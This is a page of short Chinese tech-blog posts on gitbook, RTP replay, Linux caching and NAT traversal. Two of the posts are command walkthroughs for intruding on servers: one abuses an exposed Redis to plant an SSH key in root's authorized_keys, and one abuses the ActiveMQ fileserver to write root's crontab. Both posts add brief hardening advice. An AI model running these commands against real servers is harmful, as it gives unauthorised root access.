<!DOCTYPE html>



  


<html class="theme-next muse use-motion" lang="zh-Hans">
<head>
  <meta charset="UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"/>
<meta name="theme-color" content="#222">









<meta http-equiv="Cache-Control" content="no-transform" />
<meta http-equiv="Cache-Control" content="no-siteapp" />
















  
  
  <link href="/blog/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css" />







<link href="/blog/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css" />

<link href="/blog/css/main.css?v=5.1.4" rel="stylesheet" type="text/css" />


  <link rel="apple-touch-icon" sizes="180x180" href="/blog/images/apple-touch-icon-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="32x32" href="/blog/images/favicon-32x32-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="16x16" href="/blog/images/favicon-16x16-next.png?v=5.1.4">


  <link rel="mask-icon" href="/blog/images/logo.svg?v=5.1.4" color="#222">





  <meta name="keywords" content="Hexo, NexT" />










<meta property="og:type" content="website">
<meta property="og:title" content="smallmuou&#39;s blog">
<meta property="og:url" content="http://smallmuou.gitee.io/blog/page/4/index.html">
<meta property="og:site_name" content="smallmuou&#39;s blog">
<meta property="og:locale" content="zh-Hans">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="smallmuou&#39;s blog">



<script type="text/javascript" id="hexo.configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/blog/',
    scheme: 'Muse',
    version: '5.1.4',
    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
    fancybox: true,
    tabs: true,
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    duoshuo: {
      userId: '0',
      author: '博主'
    },
    algolia: {
      applicationID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    }
  };
</script>



  <link rel="canonical" href="http://smallmuou.gitee.io/blog/page/4/"/>





  <title>smallmuou's blog</title>
  








</head>

<body itemscope itemtype="http://schema.org/WebPage" lang="zh-Hans">

  
  
    
  

  <div class="container sidebar-position-left 
  page-home">
    <div class="headband"></div>

    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-wrapper">
  <div class="site-meta ">
    

    <div class="custom-logo-site-title">
      <a href="/blog/"  class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">smallmuou's blog</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
      
        <p class="site-subtitle"><a href="https://github.com/smallmuou">https://github.com/smallmuou</a></p>
      
  </div>

  <div class="site-nav-toggle">
    <button>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>

<nav class="site-nav">
  

  
    <ul id="menu" class="menu">
      
        
        <li class="menu-item menu-item-home">
          <a href="/blog/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-home"></i> <br />
            
            首页
          </a>
        </li>
      
        
        <li class="menu-item menu-item-archives">
          <a href="/blog/archives/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br />
            
            归档
          </a>
        </li>
      
        
        <li class="menu-item menu-item-categories">
          <a href="/blog/categories/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-th"></i> <br />
            
            分类
          </a>
        </li>
      
        
        <li class="menu-item menu-item-about">
          <a href="/blog/about/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-user"></i> <br />
            
            关于
          </a>
        </li>
      

      
    </ul>
  

  
</nav>



 </div>
    </header>

    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          <div id="content" class="content">
            
  <section id="posts" class="posts-expand">
    
      

  

  
  
  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://smallmuou.gitee.io/blog/blog/2018/03/13/2018-03-13-gitbook生成pdf/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="smallmuou">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/blog/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="smallmuou's blog">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/blog/2018/03/13/2018-03-13-gitbook生成pdf/" itemprop="url">gitbook生成pdf</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2018-03-13T00:00:00+08:00">
                2018-03-13
              </time>
            

            

            
          </span>

          
            <span class="post-category" >
            
              <span class="post-meta-divider">|</span>
            
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              
                <span class="post-meta-item-text">分类于</span>
              
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/blog/categories/工具/" itemprop="url" rel="index">
                    <span itemprop="name">工具</span>
                  </a>
                </span>

                
                
              
            </span>
          

          

          
          

          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">1. 下载安装Calibre应用 https://calibre-ebook.com/</span><br><span class="line">2. sudo ln -s /Applications/calibre.app/Contents/MacOS/ebook-convert /usr/<span class="built_in">local</span>/bin</span><br><span class="line">3. 进入gitbook工程目录，执行gitbook pdf</span><br></pre></td></tr></table></figure>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://smallmuou.gitee.io/blog/blog/2018/03/13/2018-03-13-重放rtp流/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="smallmuou">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/blog/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="smallmuou's blog">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/blog/2018/03/13/2018-03-13-重放rtp流/" itemprop="url">重放rtp流</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2018-03-13T00:00:00+08:00">
                2018-03-13
              </time>
            

            

            
          </span>

          
            <span class="post-category" >
            
              <span class="post-meta-divider">|</span>
            
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              
                <span class="post-meta-item-text">分类于</span>
              
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/blog/categories/音视频/" itemprop="url" rel="index">
                    <span itemprop="name">音视频</span>
                  </a>
                </span>

                
                
              
            </span>
          

          

          
          

          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">1. 使用tcpdump或wireshark对rtp数据进行抓包</span><br><span class="line">2. 对包数据进行过滤，取得真实的rtp包，并保存成新的pcap</span><br><span class="line">3. 使用rtprewrite(https://github.com/smallmuou/rtprewrite)对上一步pcap进行修改</span><br><span class="line">4. 保存rtprewrite输出的sdp</span><br><span class="line">5. 按提示执行`tcpreplay ...`，并使用vlc播放sdp</span><br></pre></td></tr></table></figure>
          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://smallmuou.gitee.io/blog/blog/2018/03/06/2018-03-06-curl上传文件/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="smallmuou">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/blog/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="smallmuou's blog">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/blog/2018/03/06/2018-03-06-curl上传文件/" itemprop="url">curl上传文件</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2018-03-06T00:00:00+08:00">
                2018-03-06
              </time>
            

            

            
          </span>

          
            <span class="post-category" >
            
              <span class="post-meta-divider">|</span>
            
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              
                <span class="post-meta-item-text">分类于</span>
              
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/blog/categories/运维/" itemprop="url" rel="index">
                    <span itemprop="name">运维</span>
                  </a>
                </span>

                
                
              
            </span>
          

          

          
          

          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl http://yourservice --upload-file file.txt</span><br></pre></td></tr></table></figure>
          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://smallmuou.gitee.io/blog/blog/2018/03/06/2018-03-06-linux下的buffers和cached/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="smallmuou">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/blog/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="smallmuou's blog">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/blog/2018/03/06/2018-03-06-linux下的buffers和cached/" itemprop="url">linux下的buffers和cached</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2018-03-06T00:00:00+08:00">
                2018-03-06
              </time>
            

            

            
          </span>

          
            <span class="post-category" >
            
              <span class="post-meta-divider">|</span>
            
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              
                <span class="post-meta-item-text">分类于</span>
              
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/blog/categories/运维/" itemprop="url" rel="index">
                    <span itemprop="name">运维</span>
                  </a>
                </span>

                
                
              
            </span>
          

          

          
          

          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <p>使用free命令经常看到buffers/cached占用了大量内存，那buffers/cached到底存了哪些内容？</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">[root@iZ94fgpisuuZ ~]<span class="comment"># free</span></span><br><span class="line">             total       used       free     shared    buffers     cached</span><br><span class="line">Mem:       8058056    3799232    4258824          0       6704      66812</span><br><span class="line">-/+ buffers/cache:    3725716    4332340</span><br><span class="line">Swap:            0          0          0</span><br></pre></td></tr></table></figure>
<h5 id="区别"><a href="#区别" class="headerlink" title="区别"></a>区别</h5><ul>
<li>buffers：用于存储页、块信息，如文件属性、inode等；通过find查找的结果会缓存至buffers</li>
<li>cached：用于存放文件内容，包括了tmpfs、共享内存、nmap等；打开一个大文件，文件内容会缓存到cached</li>
</ul>
<h5 id="清除方法"><a href="#清除方法" class="headerlink" title="清除方法"></a>清除方法</h5><ul>
<li><p>清除cached</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> 1 &gt; /proc/sys/vm/drop_caches</span><br></pre></td></tr></table></figure>
</li>
<li><p>清除buffers</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> 2 &gt; /proc/sys/vm/drop_caches</span><br></pre></td></tr></table></figure>
</li>
<li><p>同时清除cached和buffers</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> 3 &gt; /proc/sys/vm/drop_caches</span><br></pre></td></tr></table></figure>
</li>
</ul>
<h5 id="哪些情况无法清除"><a href="#哪些情况无法清除" class="headerlink" title="哪些情况无法清除"></a>哪些情况无法清除</h5><ul>
<li>tmpfs中，文件未删除，则cached无法释放</li>
<li>共享内存未释放，则cached无法释放</li>
<li>nmap映射的内存未释放，则cached无法释放</li>
</ul>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://smallmuou.gitee.io/blog/blog/2018/03/06/2018-03-06-通过redis漏洞入侵系统/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="smallmuou">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/blog/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="smallmuou's blog">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/blog/2018/03/06/2018-03-06-通过redis漏洞入侵系统/" itemprop="url">通过redis漏洞入侵系统</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2018-03-06T00:00:00+08:00">
                2018-03-06
              </time>
            

            

            
          </span>

          
            <span class="post-category" >
            
              <span class="post-meta-divider">|</span>
            
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              
                <span class="post-meta-item-text">分类于</span>
              
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/blog/categories/运维/" itemprop="url" rel="index">
                    <span itemprop="name">运维</span>
                  </a>
                </span>

                
                
              
            </span>
          

          

          
          

          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <p>熟悉linux ssh应该知道可以在authorized_keys添加自己的共有密钥以达到免密码登录系统的目的。本文将展现如何通过redis漏洞达到入侵系统的目的。</p>
<h3 id="前提"><a href="#前提" class="headerlink" title="前提"></a>前提</h3><p>redis 开放端口：0.0.0.0:6379</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">smou:_posts $ ps x|grep redis</span><br><span class="line">29251   ??  S      0:00.04 /usr/<span class="built_in">local</span>/opt/redis/bin/redis-server 0.0.0.0:6379</span><br></pre></td></tr></table></figure>
<h3 id="入侵过程"><a href="#入侵过程" class="headerlink" title="入侵过程"></a>入侵过程</h3><h5 id="1-创建公钥-ssh-id-rsa-pub，有则跳过"><a href="#1-创建公钥-ssh-id-rsa-pub，有则跳过" class="headerlink" title="1. 创建公钥~/.ssh/id_rsa.pub，有则跳过"></a>1. 创建公钥~/.ssh/id_rsa.pub，有则跳过</h5><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh-keygen -t rsa</span><br></pre></td></tr></table></figure>
<p>一路确认就行</p>
<h5 id="2-生成前面带有双换行的临时文件"><a href="#2-生成前面带有双换行的临时文件" class="headerlink" title="2. 生成前面带有双换行的临时文件"></a>2. 生成前面带有双换行的临时文件</h5><p>进入~/.ssh/<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> -n -e <span class="string">'\n\n'</span> &gt; 2 &amp;&amp; cat id_rsa.pub &gt;&gt;2</span><br></pre></td></tr></table></figure></p>
<h5 id="3-入侵"><a href="#3-入侵" class="headerlink" title="3. 入侵"></a>3. 入侵</h5><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 设置key, crackit = 2文件内容</span></span><br><span class="line">cat 2 | redis-cli -h 192.168.12.101 -x <span class="built_in">set</span> crackit </span><br><span class="line"></span><br><span class="line"><span class="comment"># 连接服务器</span></span><br><span class="line">redis-cli -h 192.168.12.101</span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置目录（注意是用户的home目录，不一定root）</span></span><br><span class="line">config <span class="built_in">set</span> dir /root/.ssh</span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置文件名</span></span><br><span class="line">config <span class="built_in">set</span> dbfilename authorized_keys</span><br><span class="line"></span><br><span class="line"><span class="comment"># 保存</span></span><br><span class="line">save</span><br></pre></td></tr></table></figure>
<h5 id="4-登录"><a href="#4-登录" class="headerlink" title="4. 登录"></a>4. 登录</h5><p>这时候通过 ssh <a href="mailto:root@192.168.12.101" target="_blank" rel="noopener">root@192.168.12.101</a> 就能进入系统，接下来就可以为所欲为.</p>
<h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>所以使用redis，注意关闭config功能，否则，就要等着哭了。</p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://smallmuou.gitee.io/blog/blog/2018/03/06/2018-03-06-利用activemq的fileserver漏洞修改系统cron/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="smallmuou">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/blog/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="smallmuou's blog">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/blog/2018/03/06/2018-03-06-利用activemq的fileserver漏洞修改系统cron/" itemprop="url">利用activemq的fileserver漏洞修改系统cron</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2018-03-06T00:00:00+08:00">
                2018-03-06
              </time>
            

            

            
          </span>

          
            <span class="post-category" >
            
              <span class="post-meta-divider">|</span>
            
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              
                <span class="post-meta-item-text">分类于</span>
              
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/blog/categories/运维/" itemprop="url" rel="index">
                    <span itemprop="name">运维</span>
                  </a>
                </span>

                
                
              
            </span>
          

          

          
          

          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <p>当服务器安装activemq后，默认开启fileserver用于文件上传，我们可以通过下面指令达到修改系统cron的目的</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 本地1.txt内容</span></span><br><span class="line">* * * * * date &gt;&gt; /tmp/1.out</span><br><span class="line"></span><br><span class="line"><span class="comment"># 将本地1.txt上传至服务器</span></span><br><span class="line">curl -X put http://server-ip:8161/fileserver/1.txt --upload-file 1.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 将上传后的1.txt移动到/var/spool/cron/root</span></span><br><span class="line">curl -X MOVE http://server-ip:8161/fileserver/1.txt -H <span class="string">'Destination: file:///var/spool/cron/root'</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 检查cron服务</span></span><br><span class="line">crontab -l</span><br></pre></td></tr></table></figure>
<p>会发现<code>* * * * * date &gt;&gt; /tmp/1.out</code>，即每分钟执行date并输出到/tmp/1.out下</p>
<h3 id="漏洞关闭方法"><a href="#漏洞关闭方法" class="headerlink" title="漏洞关闭方法"></a>漏洞关闭方法</h3><ul>
<li>升级至5.14.x</li>
</ul>
<h3 id="思索"><a href="#思索" class="headerlink" title="思索"></a>思索</h3><ul>
<li>软件尽量不要直接用root运行</li>
<li>服务端口能不暴露尽量不暴露，请用127.0.0.1:xxxx</li>
<li>注意注意一些软件的漏洞报告，如redis、activemq</li>
</ul>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://smallmuou.gitee.io/blog/blog/2018/01/16/2018-01-16-NAT类型及穿透/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="smallmuou">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/blog/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="smallmuou's blog">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/blog/2018/01/16/2018-01-16-NAT类型及穿透/" itemprop="url">NAT类型及穿透</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2018-01-16T00:00:00+08:00">
                2018-01-16
              </time>
            

            

            
          </span>

          
            <span class="post-category" >
            
              <span class="post-meta-divider">|</span>
            
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              
                <span class="post-meta-item-text">分类于</span>
              
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/blog/categories/运维/" itemprop="url" rel="index">
                    <span itemprop="name">运维</span>
                  </a>
                </span>

                
                
              
            </span>
          

          

          
          

          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <p>NAT可以为内网主机提供一条通道以便其访问外网，通道分为共享及独占2个大类，共享又细分全锥形、受限锥形和端口受限锥形</p>
<h4 id="类型"><a href="#类型" class="headerlink" title="类型"></a>类型</h4><ul>
<li>共享通道 - 内网访问不同外网将会使用同一条通道，根据外部数据包到达该通道后的转发规则细分以下3种<ul>
<li>全锥形 - 转发任意外部外部IP任意端口发送的数据包</li>
<li>受限锥形 - 只转发内网主机已访问过的外网IP任意端口发送的数据包</li>
<li>端口受限锥形 - 只转发内网主机已访问过的外网IP加端口发送的数据包</li>
</ul>
</li>
<li>独占通道（对称型） - 内网访问不同外网将会拥有不同的通道</li>
</ul>
<h4 id="穿透"><a href="#穿透" class="headerlink" title="穿透"></a>穿透</h4><p>位于NAT下的2端，将具有4的排列组合种可能，即C4 = 10种，下面给出这10种的穿透过程</p>
<table>
<thead>
<tr>
<th style="text-align:left">A端NAT类型</th>
<th style="text-align:left">B端NAT类型</th>
<th style="text-align:left">是否可穿透</th>
<th style="text-align:left">穿透过程</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">全锥型</td>
<td style="text-align:left">全锥型</td>
<td style="text-align:left">是</td>
<td style="text-align:left">A往B的NAT端口直接发送数据 <br> B往A的NAT端口直接发送数据</td>
</tr>
<tr>
<td style="text-align:left">全锥型</td>
<td style="text-align:left">受限锥型</td>
<td style="text-align:left">是</td>
<td style="text-align:left">B往A的NAT端口直接发送数据 <br> A往B的NAT端口直接发送数据，（一定要B先发，否则B无法接收A发送的数据包）</td>
</tr>
<tr>
<td style="text-align:left">全锥型</td>
<td style="text-align:left">端口受限锥型</td>
<td style="text-align:left">是</td>
<td style="text-align:left">B往A的NAT端口直接发送数据 <br> A往B的NAT端口直接发送数据，（一定要B先发，否则B无法接收A发送的数据包）</td>
</tr>
<tr>
<td style="text-align:left">全锥型</td>
<td style="text-align:left">对称型</td>
<td style="text-align:left">是</td>
<td style="text-align:left">B往A的NAT端口直接发送数据 <br> A往B实时端口发送数据，（需要根据B发送的数据包端口来给B发送数据，而不是服务器提供的NAT端口）</td>
</tr>
<tr>
<td style="text-align:left">受限锥型</td>
<td style="text-align:left">受限锥型</td>
<td style="text-align:left">是</td>
<td style="text-align:left">A往B的NAT端口直接发送数据（B将会丢弃） <br> B往A的NAT端口直接发送数据（因为A已经给B发送数据，因此可以正常接收）<br> A再往B的NAT端口发送数据（可正常转发）</td>
</tr>
<tr>
<td style="text-align:left">受限锥型</td>
<td style="text-align:left">端口受限锥型</td>
<td style="text-align:left">是</td>
<td style="text-align:left">A往B的NAT端口直接发送数据（B将会丢弃） <br> B往A的NAT端口直接发送数据（因为A已经给B发送数据，因此可以正常接收）<br> A再往B的NAT端口发送数据（可正常转发）</td>
</tr>
<tr>
<td style="text-align:left">受限锥型</td>
<td style="text-align:left">对称型</td>
<td style="text-align:left">是</td>
<td style="text-align:left">A往B的NAT端口直接发送数据（B将会丢弃） <br> B往A的NAT端口直接发送数据（因为A已经给B发送数据，因此可以正常接收）<br> A再往B的实时端口发送数据（可正常转发）</td>
</tr>
<tr>
<td style="text-align:left">端口受限锥型</td>
<td style="text-align:left">端口受限锥型</td>
<td style="text-align:left">是</td>
<td style="text-align:left">A往B的NAT端口直接发送数据（B将会丢弃） <br> B往A的NAT端口直接发送数据（因为A已经给B发送数据，因此可以正常接收）<br> A再往B的NAT端口发送数据（可正常转发）</td>
</tr>
<tr>
<td style="text-align:left">端口受限锥型</td>
<td style="text-align:left">对称型</td>
<td style="text-align:left">否</td>
</tr>
<tr>
<td style="text-align:left">对称型</td>
<td style="text-align:left">对称型</td>
<td style="text-align:left">否</td>
</tr>
</tbody>
</table>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://smallmuou.gitee.io/blog/blog/2018/01/15/2018-01-15-asterisk源码解读 - SIP/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="smallmuou">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/blog/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="smallmuou's blog">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/blog/2018/01/15/2018-01-15-asterisk源码解读 - SIP/" itemprop="url">asterisk源码解读 - SIP</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2018-01-15T00:00:00+08:00">
                2018-01-15
              </time>
            

            

            
          </span>

          
